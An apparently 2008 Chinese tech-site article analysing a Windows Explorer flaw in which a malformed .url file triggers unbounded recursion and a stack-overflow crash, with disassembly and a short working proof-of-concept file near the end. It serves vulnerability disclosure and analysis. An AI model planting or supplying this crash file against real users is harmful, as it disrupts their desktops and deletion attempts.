[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 安全技巧

解析URL格式化漏洞

作者: tutu,  出处:IT专家网, 责任编辑: 张帅, 
2008-11-06 11:25
  Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。

  【IT专家网独家】1.描述

  Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。

  如果explorer.exe解析了包含有特别格式URL的*.url文件的话,就会导致崩溃。即使通过资源管理器试图删除这个文件时也会触发崩溃。

  目前厂商还没有提供补丁或者升级程序,到目前为止该漏洞依然有效。

浅析URL格式化漏洞

  汇编代码中际出错的地址:

7D5CE6B9  push    ecx
7D5CE6BA  lea     ecx, dword ptr [esp+8]
7D5CE6BE  sub     ecx, 1000
7D5CE6C4  sub     eax, 1000
7D5CE6C9  test    dword ptr [ecx], eax 异常地址
7D5CE6CB  cmp     eax, 1000
7D5CE6D0  jnb     short 7D5CE6BE
7D5CE6D2  sub     ecx, eax
7D5CE6D4  mov     eax, esp
7D5CE6D6  test    dword ptr [ecx], eax
7D5CE6D8  mov     esp, ecx
7D5CE6DA  mov     ecx, dword ptr [eax]
7D5CE6DC  mov     eax, dword ptr [eax+4]
7D5CE6DF  push    eax
7D5CE6E0  retn

  2.详细分析

  在IDA的反汇编中可知:

public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near
.text:7D6A112C                                         ; DATA XREF: .text:7D5A327Co
.text:7D6A112C
.text:7D6A112C var_20A0        = dword ptr -20A0h
.text:7D6A112C var_209C        = dword ptr -209Ch
.text:7D6A112C var_2098        = dword ptr -2098h
.text:7D6A112C Srch            = word ptr -2094h
.text:7D6A112C var_104C        = dword ptr -104Ch
.text:7D6A112C var_4           = dword ptr -4
.text:7D6A112C arg_C           = dword ptr  14h
.text:7D6A112C arg_14          = dword ptr  1Ch
.text:7D6A112C arg_18          = dword ptr  20h
.text:7D6A112C
.text:7D6A112C                 mov     edi, edi
.text:7D6A112E                 push    ebp
.text:7D6A112F                 mov     ebp, esp
.text:7D6A1131                 mov     eax, 20A0h 局部堆栈长度
.text:7D6A1136                 call    __chkstk 出错函数地址
.text:7D6A1136
.text:7D6A113B                 mov     eax, ___security_cookie
.text:7D6A1140                 push    ebx
.text:7D6A1141                 mov     ebx, [ebp+arg_18]
.text:7D6A1144                 push    esi
.text:7D6A1145                 mov     esi, [ebp+arg_14]
.text:7D6A1148                 push    edi
.text:7D6A1149                 mov     edi, [ebp+arg_C]
.text:7D6A114C                 push    edi
.text:7D6A114D                 mov     [ebp+var_4], eax
.text:7D6A1150                 call    ds:UrlGetLocationW(x)
.text:7D6A1156                 push    0
.text:7D6A1158                 mov     [ebp+var_2098], eax
.text:7D6A115E                 push    6
.text:7D6A1160                 lea     eax, [ebp+var_209C]
.text:7D6A1166                 push    eax
.text:7D6A1167                 lea     eax, [ebp+var_104C+2]
.text:7D6A116D                 push    eax
.text:7D6A116E                 push    edi
.text:7D6A116F                 mov     [ebp+var_20A0], 824h
.text:7D6A1179                 mov     [ebp+var_209C], 823h
.text:7D6A1183                 call    ds:UrlGetPartW(x,x,x,x,x)
.text:7D6A1189                 test    eax, eax
.text:7D6A118B                 jl      short loc_7D6A11A1
.text:7D6A118B
.text:7D6A118D                 cmp     [ebp+var_209C], 0
.text:7D6A1194                 jz      short loc_7D6A11A1
.text:7D6A1194
.text:7D6A1196                 mov     word ptr [ebp+var_104C], 3Fh
.text:7D6A119F                 jmp     short loc_7D6A11A9
.text:7D6A119F
.text:7D6A11A1 ; ---------------------------------------------------------------------------
.text:7D6A11A1
.text:7D6A11A1 loc_7D6A11A1:                           ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj
.text:7D6A11A1                                         ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j
.text:7D6A11A1                 and     word ptr [ebp+var_104C], 0
.text:7D6A11A1
.text:7D6A11A9
.text:7D6A11A9 loc_7D6A11A9:                           ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j
.text:7D6A11A9                 push    0
.text:7D6A11AB                 lea     eax, [ebp+var_20A0]
.text:7D6A11B1                 push    eax
.text:7D6A11B2                 lea     eax, [ebp+Srch]
.text:7D6A11B8                 push    eax
.text:7D6A11B9                 push    edi
.text:7D6A11BA                 call    ds:PathCreateFromUrlW(x,x,x,x) 该函数递归
.text:7D6A11C0                 test    eax, eax
.text:7D6A11C2                 jl      short loc_7D6A121B
.text:7D6A11C2
.text:7D6A11C4                 push    ebx             ; int
.text:7D6A11C5                 push    esi             ; int
.text:7D6A11C6                 xor     edi, edi
.text:7D6A11C8                 push    edi             ; char
.text:7D6A11C9                 push    edi             ; int
.text:7D6A11CA                 lea     eax, [ebp+Srch]
.text:7D6A11D0                 push    eax             ; lpSrch
.text:7D6A11D1                 call    ILCreateFromPathEx(x,x,x,x,x)

  总结:

  由于对参数检查不严格,造成这段函数不停地递规调用自已,每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的,超过他的最大范围就出错了。当进行第28次调用以后,达到了windows堆栈所能允许的最大值,explorer程序异常退出。

  3.利用代码 

      [InternetShortcut]
  url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:

  把以上文字保成成URL为后缀的文件,可以造成桌面程序(Expolore.exe)一直出错。

      IT专家网原创文章,未经许可,严禁转载!

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。